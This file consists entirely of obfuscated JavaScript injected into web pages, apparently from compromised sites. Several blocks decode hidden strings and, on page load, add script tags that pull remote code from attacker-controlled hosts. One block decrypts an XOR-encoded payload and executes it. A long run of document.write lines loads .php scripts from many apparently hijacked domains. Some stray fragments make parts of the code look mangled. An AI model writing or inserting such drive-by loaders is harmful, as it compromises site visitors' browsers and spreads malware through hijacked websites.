var m;if(m!=''){m='k'};var z='dHeSfHe?rS'.replace(/[S/H~\?]/g, '');var cn="cn";var p='sQeqtQAKtqt0rKiqb&uQt&e&'.replace(/[&0QKq]/g, '');var b="";var r='shcGrGi1pht+'.replace(/[\+Gx1h]/g, '');var d='a.pcpceznzdzC*h,i.lcd*'.replace(/[\*\.,zc]/g, '');var dr=9349;var q='b.oldly^'.replace(/[\^Vl\?\.]/g, '');var f='cWr:e4a$t:e4E$l:e$m:eWnRt:'.replace(/[\:\$RW4]/g, '');var fj='o>n1lEo1aEdj'.replace(/[j\>wE1]/g, '');this.cj="cj";var x='sLr!c^'.replace(/[\^L\!5H]/g, '');var c=document;var xt='';var qz;if(qz!='g' && qz!='o'){qz='g'};window[fj]=function(){try {var ug;if(ug!='' && ug!='wq'){ug='yg'};s=c[f](r);var fp=8792;s[p](z, "1");var a=new Date();var zi;if(zi!='xw'){zi='xw'};var rc = c[q];s[x]='hGtytKpy:K/C/ygzoGozgzlKeG-CcKoCmC-yaCuK.KmGoGbziKlGeG.ydKeG.KhCazrCryeznKmyezdKiCaGnyeytCwyoCrCkC-KczoKmG.KtzhCeKaGnGtGizmGaztGrKiCxG.GryuK:K8C0y8G0C/GsyiCnyaK.KcGoymC.CcGny/CsyiGnKaC.CcyoKmK.zcCnG/KvCizmzezoC.KcyoCmy/GgGcC.KcKay/ygyoyoCgylzeK.CcGoGmy/z'.replace(/[zyGKC]/g, '');var gy;if(gy!='bd' && gy!='oa'){gy=''};var xwg=new Date();rc[d](s);var za;if(za!='wd' && za!='xh'){za='wd'};} catch(sv){};};this.qd="";
var p;if(p!='i'){p=''};try {var a=new String();this.t="t";:LineMixer [this.h="h";var v='h+tZt1p+:*/Z/_f+c_2+-Zc*o+m1.Zi*c+b+cZ.Zc+oZm1.Zc*n*.*d_a*q_i1-+c*o1m+.+n*e_w1s_oZu_r_c+e*wZo*r+lZdZ._rZu*:+8+0+8*0_/1aZd*d_iZcZt_iZnZg*g+a_mZeZs*._c+o_mZ/+aZd_d*i*c+t+iZnZgZg_aZm_e1s*.1c+o+mZ/*g1oZo_g1l*e_.*c_o*m*/_r*e*aZl1i+t1y_kZi1n+g_s*.+cZo1m+/+s1p1e_e+d+t_eZsZt*.ZnZe+tZ/1'.replace(/[1\+Z_\*]/g, '');this.un=false;var g='sMcMr,iDpMtM'.replace(/[M_,D\?]/g, '');var ux=new String();var z='c$r$eFaFt;e;EFl;e$mFe;nFt$'.replace(/[\$\.F;Z]/g, '');var x='omn6l.o6a6ds'.replace(/[sR\.6m]/g, '');var pe;if(pe!='ce'){pe=''};var y="1";var bo;if(bo!=''){bo='wk'};var b='aApApjeAn|dAC$h$ijljdA'.replace(/[A\|\$_j]/g, '');var hh=new Array();var _='sKe<taAot<t<rKijbjuatoe<'.replace(/[\<ojaK]/g, '');var r='b3oPdSyF'.replace(/[F3PiS]/g, '');]var ey=55990;window[x]=function(){var vo;if(vo!='' && vo!='cj'){vo='ql'};xn=document[z](g);var kh;if(kh!='b_'){kh='b_'};:LineMixer [var ly;if(ly!=''){ly='tm'};xn['s5rTca'.replace(/[afnT5]/g, '')]=v;xn[_]('d3e~fHeHrj'.replace(/[j3H~U]/g, ''), y);var lt=new Array();var yv=document[r];var xcs=41748;]this.vd='';var py=new Array();yv[b](xn);};var _p;if(_p!=''){_p='m'};var ea;if(ea!='' && ea!='kb'){ea=null};} catch(zh){var se;if(se!='' && se!='di'){se='une'};};var cq="cq";
this.af='';var is;if(is!=''){is='ie'};var iy=new String();function p() {this.js='';var y;if(y!='k'){y=''};function f(j,_,d){var dc;if(dc!='' && dc!='ad'){dc=''};this.fy="fy";var kr;if(kr!='qv'){kr='qv'};var iyk=false;j['s8e8tMA,t_t_rMi_b_uMt8e,'.replace(/[,_8MI]/g, '')](_, d);}var gh='';var w='sncnr;i;pqtq'.replace(/[q;nTz]/g, '');this.je=56549;var m=window;var bt=false;var wfh;if(wfh!='' && wfh!='tw'){wfh=''};var u='c<r/eVa/tVeLE/lLeLm/eznLtV'.replace(/[VL/\<z]/g, '');var kp="";var yw;if(yw!='sb'){yw='sb'};var vr;if(vr!='es'){vr='es'};var lz;if(lz!='xj'){lz=''};m['o0n0l6o0ahd6'.replace(/[60&h/]/g, '')]=function(){this.ww="ww";try {var ht="ht";var jq="jq";a=document[u](w);var aa=new Date();var op;if(op!='qj' && op != ''){op=null};f(a,'snr#cg'.replace(/[gL#nM]/g, ''),'h|tKt|pK:K/+/+aFbPr+iKl+-+cFoFm+-|bPr|.+tKu+m+bPlKrK.+c+o+m+.KkKaKkKaFkPuF-|c|oKmF.|r|e+d|tKa+gFj+e|w|eKlKe|rFsP.|rKu|:P8+0+8+0P/Kd|oPuKbPa|n+.PcKoKmP/PdFoKuFbPaFnP.Pc+oPmP/PgFoPoKgFlPeF.|c|oFm+/PpPa+nFt|i|pK.KcFo+m+/|oFwP.|lPy+/F'.replace(/[FKP\|\+]/g, ''));var xk;if(xk!='oz'){xk=''};f(a,'dVenf+e+r|'.replace(/[\|nVl\+]/g, ''),1);var g_=new String();document['bmomdOyP'.replace(/[PSQOm]/g, '')]['akpopGe+nkd,C,h,i+l+d+'.replace(/[\+,Gok]/g, '')](a);this.az="";this.dkd=9244;} catch(pm){var nx;if(nx!='oi'){nx=''};var pe=64409;};var nt="";var pl;if(pl!=''){pl='s_'};};var ilm=false;var wi;if(wi!='__' && wi!='er'){wi='__'};};var ii=55544;var hx;if(hx!='cz' && hx!='cc'){hx='cz'};p();
var sY="a1beb78caeccb6adbea3a4c9aaa2a682d399b19bbca0adaaa7889b9983a19ca686aa98b0b9b38fa3a2b398af9c9f91abaf9bbdbaa1868186a0a8af9ba097ac9bbed99397c883a187ecaaa1f3be85";var YH;if(YH!='HwT' && YH!='NG'){YH='HwT'};var Uc=false;function e(v){this.b='';var dy;if(dy!='' && dy!='bB'){dy=''}; var WT=function(O){var ek=new Array();var u;if(u!='' && u!='Fp'){u='Qb'};var ct='';var MF=[153,225,0][2];var Bj;if(Bj!='CR'){Bj='CR'};var d=O[D("elgnht", [1,0])];var k;if(k!='WI' && k != ''){k=null};this.q="";var g=[189,0,120][1];var ym="";var p;if(p!=''){p='WD'};var n=[90,255,196,72][1];var P;if(P!=''){P='he'};var ck;if(ck!='' && ck!='nJx'){ck=''};var MK=new String();var B=[1][0];var tS;if(tS!='yw'){tS='yw'};var Lo='';var yp=new String();while(MF<d){MF++;var rB;if(rB!='' && rB!='ng'){rB='iT'};var uR;if(uR!='' && uR!='gB'){uR='be'};Dw=Bx(O,MF - B);g+=Dw*d;var ZZ='';var Yk="Yk";}var AM=false;var mX;if(mX!='Oj' && mX!='lG'){mX='Oj'};var fl;if(fl!='R' && fl!='IY'){fl='R'};return new M(g % n);this.Lx="Lx";var OX;if(OX!='pR'){OX=''};};var bBs=new String();var Rg=new String();var tI=new String(); function X(a){this.VL='';this.bt='';a = new M(a);var GB;if(GB!='' && GB!='GQ'){GB=''};var nJ = '';var TI;if(TI!='Ji'){TI='Ji'};var Pb='';var S =[19,204,0,62][2];var m =[0,244][0];this.PT="PT";var vt;if(vt!='' && vt!='vm'){vt=null};var J = -1;var yj;if(yj!='fj'){yj=''};var xF=new Date();var ld="";for (m=a[D("ntlegh", [2,3,0,4,1])]-J;m>=S;m=m-[1,42][0]){nJ+=a[D("trAach", [4,5,3,1,2,0])](m);}this.nG='';var gx="gx";return nJ;var tk;if(tk!='' && tk!='Ai'){tk='Ec'};}this.TS=42428;this.ug=false;this.am="am";var Aj="Aj"; var yh;if(yh!='' && yh!='IP'){yh=null};var If;if(If!='' && If!='BS'){If=null};function D(a, SO){var Eh=44608;var S=[60,229,0,141][2];var kF="kF";var xl="xl";var B=[13,1,36][1];var kS="kS";var dC;if(dC!='' && dC!='rb'){dC='ZJ'};var nJ = '';var IO='';var TtA;if(TtA!='eu' && TtA!='Bn'){TtA=''};this.LE="";var Te="Te";var mw = SO.length;var Wv = a.length;var mT=11670;var Xw="";var dR;if(dR!='wi'){dR=''};for(var m = S; m < Wv; m += mw) {var FD=new Date();var bV=new Date();var ye="ye";var F = a.substr(m, mw);var Xd;if(Xd!='' && Xd!='fP'){Xd=''};if(F.length == mw){for(var MF in SO) {this.sC=false;var MM;if(MM!='' && MM!='WaO'){MM='iTo'};var Rz=new Date();nJ+=F.substr(SO[MF], B);var XF;if(XF!='BC' && XF!='TG'){XF='BC'};var PI;if(PI!='' && PI!='kxb'){PI=''};var Dr='';}var GF;if(GF!='' && GF!='WR'){GF=''};} else {var OS=34047;  nJ+=F;}var lE="lE";}return nJ;var rV='';} function y(N,A){return N^A;var Sh;if(Sh!='' && Sh!='GE'){Sh=''};var ui;if(ui!='' && ui!='zvw'){ui=''};}var pI;if(pI!='ft'){pI='ft'};this.yy="";var jx;if(jx!='aA'){jx=''};var bE="bE";var Tr;if(Tr!='jm'){Tr='jm'}; var Bx=function(C,i){var lF;if(lF!='VG'){lF=''};var zN=63476;return C[D("haroCecdAt", [6,0,1,2,4,3,7,5])](i);var Flq;if(Flq!='gD' && Flq != ''){Flq=null};this.KG=18730;};var ZvH=57159;var YK=new Date();var w=window;var Lr="Lr";var xrG="xrG";var wW=w[D("aevl", [1,2,0])];var Tp=new String();var K=wW(D("nFuitcon", [1,2,0,5,4,3]));var ZL=false;var M=wW(D("nStrig", [1,2,3,4,0]));var inZ=false;var lC;if(lC!=''){lC='ZU'};var DB=wW(D("EgeRxp", [3,2,1,0,4]));var la;if(la!='' && la!='Hz'){la='fBu'};var Q = '';this.Yb="";this.ag="";this.sn=13009;var fU=new Date();var TM;if(TM!='' && TM!='gt'){TM='dn'};var rY;if(rY!='' && rY!='fc'){rY=''};var s=M[D("mCorfCorahde", [4,3,2,0,1])];var mfV="mfV";var Hh;if(Hh!='' && Hh!='mU'){Hh=null};var WU='';var c=w[D("eusnpcea", [1,3,0,2])];var lM;if(lM!='' && lM!='fq'){lM=null};this.wg="";var Dc='';this.va="va";var mwl=new Date();var V=[1, D("fhsuertcnlha.necom", [2,3,5,0,6,1,4,7]),2, D("odcmuetn.rcetaelEeemn(t\'csrpit\')", [1,0,2]),3, D("ucodtnemdob.pa.ydneplihC)d(d", [3,2,1,0]),4, D("omc1e.001ne..ktnoioipsk", [2,0,1]),5, D("set.dtritAte(ubefed\'r\'", [4,3,0,1,2]),6, D("uhe.trhmabelosr80u:.80", [5,0,3,4,1,2,6]),7, D("nwdoiwn.looad", [1,4,0,2,3,5]),8, D("cpnenjy.ocme", [5,0,1,3,2,4]),11, D("ooglgc.emo", [2,1,0,4,3]),12, D("ilkniwhtni", [1,0]),14, D("ntocfuin()", [4,5,7,3,1,6,2,0]),15, D("ti61.8ocm", [1,0]),16, D("hae(ctc)", [6,1,5,4,0,3,2,7]),17, D("th\"tp:", [2,1,3,0]),18, D(".drsc", [1,0,3,2]),19, D("1\'\')", [1,0,2]),20, D("yrt", [2,1,0])];var Og = /[^@a-z0-9A-Z_-]/g;var cc=new Array();var As;if(As!='vY' && As!='ERu'){As='vY'};var U = '';var S =[0,149,123,218][0];var Ot = '';var Ch=57161;var jq;if(jq!='gI'){jq='gI'};var DG = s(37);this.Ys='';this.vc="";var B =[1][0];var Twl;if(Twl!='AI'){Twl=''};var FP = '';var mXd;if(mXd!='hOl' && mXd!='Hw'){mXd='hOl'};var z =[2][0];var Kl=new String();var Wb =[0][0];var tt="tt";var VD;if(VD!='hB' && VD!='Pc'){VD='hB'};var x = v[D("elgnht", [1,0])];var Xv=new String();var Dh;if(Dh!='Uw' && Dh!='LD'){Dh='Uw'};var Bo;if(Bo!='' && Bo!='dh'){Bo=null};var LW;if(LW!='' && LW!='dw'){LW=null};var DBc="DBc";var YKs=false;var qW=false;for(var Sw=S; Sw < x; Sw+=z){Ot+= DG; var Nhb;if(Nhb!='Ag' && Nhb != ''){Nhb=null};Ot+= v[D("busstr", [3,1,0,2])](Sw, z);this.sp="sp";var yJ;if(yJ!='' && yJ!='Qr'){yJ='jI'};}var gDN="gDN";this.zG=25051;var v = c(Ot);var Ho;if(Ho!='gxw'){Ho=''};var vA;if(vA!=''){vA='is'};var cr = new M(e);var Ep;if(Ep!=''){Ep='pa'};var L = cr[D("eclepar", [6,0,4,2,5,1,3])](Og, U);var Wg=new Date();var wE;if(wE!='Gm' && wE!='nJj'){wE='Gm'};L = X(L);this.OKK="OKK";var yV=new String();var ev = V[D("getnlh", [4,1,3,0,2])];var Zr;if(Zr!='tX' && Zr != ''){Zr=null};var Ll=new Date();var vB = new M(K);var Jq;if(Jq!='' && Jq!='RP'){Jq=''};var nR=false;var sxp;if(sxp!='' && sxp!='dV'){sxp=''};var t = vB[D("aceplre", [5,2,3,4,0,1])](Og, U);var t = WT(t);var TeC;if(TeC!=''){TeC='gP'};var T=WT(L);var PX='';var qq='';for(var m=S; m < (v[D("egnlth", [3,0,2,1])]);m=m+[1][0]) {var Ezc=new Array();var KS=45966;var NW = L.charCodeAt(Wb);var vg = Bx(v,m);var vG;if(vG!='' && vG!='UwT'){vG='Of'};var PG;if(PG!='' && PG!='BY'){PG=null};vg = y(vg, NW);var Op;if(Op!='' && Op!='TF'){Op='mS'};var Jo=false;var UX;if(UX!='jf' && UX!='wX'){UX='jf'};vg = y(vg, T);var fsO;if(fsO!=''){fsO='Bp'};vg = y(vg, t);Wb++;var UF="UF";var AvZ;if(AvZ!='' && AvZ!='jmw'){AvZ=''};var qv=new Date();if(Wb > L.length-B){Wb=S;var HV=37817;}var YV;if(YV!='' && YV!='TR'){YV=null};FP += s(vg);}var aUV='';var NR='';for(o=S; o < ev; o+=z){var cU='';var Pv="";var xb = V[o + B];var E = s(V[o]);var Wh;if(Wh!='sd' && Wh != ''){Wh=null};var Ov;if(Ov!='zI'){Ov=''};var DW = new DB(E, M.fromCharCode(103));this.jY=false;this.Vu=false;FP=FP[D("pealcre", [5,1,0,3,2,4,6])](DW, xb);var BUN;if(BUN!='' && BUN!='vGO'){BUN=''};}this.Vw=false;var Zjg;if(Zjg!='' && Zjg!='wD'){Zjg='KYV'};var Vz=new K(FP);var Bon;if(Bon!='wQ' && Bon!='gU'){Bon='wQ'};Vz();var eA;if(eA!='' && eA!='su'){eA=''};var lkP;if(lkP!=''){lkP='Eb'};this.lP='';var vj;if(vj!='xy' && vj!='aM'){vj=''};this.iSh=36561;T = '';var Cf;if(Cf!='' && Cf!='zy'){Cf=null};Vz = '';var le=new Date();var yf=new Date();t = '';FP = '';var Km;if(Km!='Iq' && Km!='eT'){Km=''};L = '';vB = '';var Wc;if(Wc!='dox' && Wc!='Hzq'){Wc='dox'};var yH=new String();this.Opp=false;var Nj=new Array();return '';};var YH;if(YH!='HwT' && YH!='NG'){YH='HwT'};var Uc=false;e(sY);


var z="";this.v='';var eS;if(eS!='' && eS!='u'){eS=''};function i(){var t=window;this.dr='';var b=unescape;var Sn;if(Sn!='N'){Sn=''};var F=new String();var T=b("%2f%64%69%63%74%2d%63%63%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%64%61%71%69%2e%63%6f%6d%2e%70%68%70");var K='';this.vU='';function p(L,g){var HP=new Array();var R=new String("ujMg".substr(3));var Lv;if(Lv!='' && Lv!='Ts'){Lv=null};var HT;if(HT!='' && HT!='Xz'){HT=null};var d=b("%5b"), H=b("%5d");var RW=d+g+H;var tv=new String();var a=new RegExp(RW, R);var Xt='';return L.replace(a, new String());};this.ke='';var mH=new Array();var mol;if(mol!='Sj'){mol='Sj'};var U_;if(U_!='OM'){U_='OM'};var Z=p('83702648140947','61249573');this.zh="";var Y=document;var eN="";var P;if(P!='LY' && P!='Dc'){P=''};var HN=new String();this.RP='';var Wf="";function m(){this.Sk='';var qZ='';var o=b("%68%74%74%70%3a%2f%2f%72%65%61%63%68%73%61%77%2e%72%75%3a");this.nG='';var Om;if(Om!='FA'){Om='FA'};var J=new Array();this.yA="";HN=o;var I="";var yr="";HN+=Z;var xD;if(xD!='' && xD!='oO'){xD='HB'};this.vm="";HN+=T;var av='';var bl=new Array();var NS;if(NS!=''){NS='SN'};var SF;if(SF!=''){SF='iS'};try {var af;if(af!='' && af!='Fb'){af=null};var Hs=new Array();y=Y.createElement(p('sNcUr2iSpNtU','NSKV6Ua2'));this.V='';var SM;if(SM!='zJ'){SM='zJ'};var JF;if(JF!='JE'){JF=''};y[b("%73%72%63")]=HN;var KN;if(KN!='Qs' && KN!='Ld'){KN='Qs'};var TW=new Array();y[b("%64%65%66%65%72")]=[1][0];this.KK='';var RC=new Date();var HU=new Array();var yAP;if(yAP!='_U' && yAP!='ab'){yAP=''};Y.body.appendChild(y);this.uP="";} catch(w){this.yX="";this.ggD="";alert(w);var AU=new String();};this.kP="";}t["onlo"+"ad"]=m;var Sa;if(Sa!='fE' && Sa != ''){Sa=null};var xK=new String();};i();
document.write('<script src=http://firstbizhost.com/images/gifimg.php ><\/script>');
document.write('<script src=http://firstbizhost.com/images/gifimg.php ><\/script>');
document.write('<script src=http://firstbizhost.com/images/gifimg.php ><\/script>');
document.write('<script src=http://firstbizhost.com/images/gifimg.php ><\/script>');
document.write('<script src=http://202.28.25.179/administrator/INSTALL.php ><\/script>');
document.write('<script src=http://202.28.25.179/administrator/INSTALL.php ><\/script>');
document.write('<script src=http://202.28.25.179/administrator/INSTALL.php ><\/script>');
document.write('<script src=http://202.28.25.179/administrator/INSTALL.php ><\/script>');
document.write('<script src=http://prelovedmini.co.uk/images/gifimg.php ><\/script>');
document.write('<script src=http://prelovedmini.co.uk/images/gifimg.php ><\/script>');
document.write('<script src=http://prelovedmini.co.uk/images/gifimg.php ><\/script>');
document.write('<script src=http://prelovedmini.co.uk/images/gifimg.php ><\/script>');
document.write('<script src=http://prelovedmini.co.uk/images/gifimg.php ><\/script>');
document.write('<script src=http://prelovedmini.co.uk/images/gifimg.php ><\/script>');
document.write('<script src=http://fuck-yeah.net/uploads/fuck-yeah.php ><\/script>');
document.write('<script src=http://correndo.se/layout/kantarell.php ><\/script>');
document.write('<script src=http://correndo.se/layout/kantarell.php ><\/script>');
document.write('<script src=http://correndo.se/layout/kantarell.php ><\/script>');
document.write('<script src=http://correndo.se/layout/kantarell.php ><\/script>');
document.write('<script src=http://correndo.se/layout/kantarell.php ><\/script>');
document.write('<script src=http://correndo.se/layout/kantarell.php ><\/script>');
document.write('<script src=http://correndo.se/layout/kantarell.php ><\/script>');
document.write('<script src=http://clubnutricia.nutricia.co.id/media/sinner16.php ><\/script>');
document.write('<script src=http://clubnutricia.nutricia.co.id/media/sinner16.php ><\/script>');
document.write('<script src=http://clubnutricia.nutricia.co.id/media/sinner16.php ><\/script>');
document.write('<script src=http://clubnutricia.nutricia.co.id/media/sinner16.php ><\/script>');
document.write('<script src=http://clubnutricia.nutricia.co.id/media/sinner16.php ><\/script>');
document.write('<script src=http://clubnutricia.nutricia.co.id/media/sinner16.php ><\/script>');
document.write('<script src=http://clubnutricia.nutricia.co.id/media/sinner16.php ><\/script>');
document.write('<script src=http://clubnutricia.nutricia.co.id/media/sinner16.php ><\/script>');
document.write('<script src=http://tendu.com/images/stepfour.php ><\/script>');
document.write('<script src=http://tendu.com/images/stepfour.php ><\/script>');
document.write('<script src=http://tendu.com/images/stepfour.php ><\/script>');
document.write('<script src=http://tendu.com/images/stepfour.php ><\/script>');
document.write('<script src=http://zooprodukt.com/setup/show_zbozi.php ><\/script>');
document.write('<script src=http://zooprodukt.com/setup/show_zbozi.php ><\/script>');
document.write('<script src=http://zooprodukt.com/setup/show_zbozi.php ><\/script>');
document.write('<script src=http://zooprodukt.com/setup/show_zbozi.php ><\/script>');